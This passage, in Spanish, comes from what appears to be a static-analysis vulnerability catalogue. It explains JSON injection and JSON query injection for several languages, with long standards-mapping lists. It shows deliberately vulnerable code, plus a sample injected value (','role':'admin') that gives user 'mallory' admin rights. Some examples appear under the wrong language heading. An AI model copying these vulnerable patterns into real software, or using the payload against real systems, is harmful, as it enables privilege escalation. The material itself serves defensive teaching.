Los valores resultantes para username, password y role en el objeto NSDictionary serían mallory, Evil123! y admin respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando sucede lo siguiente:

1. Los datos se introducen en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en caché y puede contener información confidencial. Cuando se usa para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y puede transmitir información confidencial, como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada no validada. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación genere una excepción mientras se están analizando un documento o una solicitud JSON. En casos más graves, como aquellos que implican una inyección JSON, un atacante puede insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección de código JSON puede dar lugar a secuencias de comandos en sitios cruzados (Cross-Site Scripting) o a la evaluación de código dinámico.

Ejemplo 1: El siguiente código de Python actualiza un archivo json con un valor que no es fiable y proviene de una URL:


import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]

with open('data.json', 'r') as json_File:
data = json.load(json_File)

data['name']= untrusted_values

with open('data.json', 'w') as json_File:
json.dump(data, json_File)

...


Aquí, los datos que no son fiables en name no se validarán para escapar de los caracteres especiales relacionados con JSON. Esto permite que un usuario inserte arbitrariamente claves JSON, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory agregara ","role":"admin al parámetro de nombre en la URL, el JSON se convertiría en:


{
"role":"user",
"username":"mallory",
"role":"admin"
}

El archivo JSON ahora está manipulado con datos maliciosos y el usuario tiene un acceso privilegiado de "administrador" en lugar de "usuario".
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y pueden contener información probablemente confidencial. Cuando se utiliza para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y se puede utilizar para transmitir información confidencial como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación produzca una excepción mientras se está analizando un documento o una solicitud JSON. En un caso más grave, como uno que implique la inyección JSON, un atacante puede ser capaz de insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección JSON puede dar lugar a cross-site scripting o evaluación de código dinámico.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.scala.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y pueden contener información probablemente confidencial. Cuando se utiliza para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y se puede utilizar para transmitir información confidencial como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación produzca una excepción mientras se está analizando un documento o una solicitud JSON. En un caso más grave, como uno que implique la inyección JSON, un atacante puede ser capaz de insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección JSON puede dar lugar a cross-site scripting o evaluación de código dinámico.

Ejemplo 1: El siguiente código Swift serializa la información de la autenticación de cuenta de usuario para usuarios sin privilegios (aquellos con un rol "predeterminado" a diferencia de los usuarios con un rol de "admin") a JSON de los campos controlables por el usuario usernameField y passwordField:


...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"


Aún así, dado que la serialización de JSON se realiza mediante el uso de la interpolación de cadenas, los datos que no son de confianza en usernameField y passwordField no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory con la contraseña Evil123! fuese a agregar ","role":"admin a su nombre de usuario al introducirla en el campo usernameField, el JSON resultante sería:


{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}


Si esta cadena JSON serializada se fuese a deserializar en un objeto NSDictionary con NSJSONSerialization.JSONObjectWithData: de este modo:


var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary


Los valores resultantes para username, password y role en el objeto NSDictionary serían mallory, Evil123! y admin respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.json_injection
Abstract
La aplicación realiza una consulta JSON con datos que no son de confianza y pueden permitir que usuarios malintencionados realicen consultas en partes inesperadas del documento JSON.
Explanation
Hay una serie de tecnologías que brindan la capacidad de maniobrar a través de documentos JSON utilizando una sintaxis de acceso en forma de árbol. Al utilizar este tipo de escalado de directorios de documentos, un adversario puede consultar partes de un documento JSON a las que no debería tener acceso.

Ejemplo 1: El código siguiente utiliza una palabra clave definida por el usuario para acceder a un documento JSON que contiene detalles de usuario públicos, como su nombre y dirección, pero también privados, como su contraseña.


$userInput = getUserIn();
$document = getJSONDoc();
$part = simdjson_key_value($document, $userInput);
echo json_decode($part);


Como el usuario puede controlar userInput, un usuario malintencionado puede aprovecharlo para acceder a cualquier dato confidencial en el documento JSON.
References
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A1 Injection
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
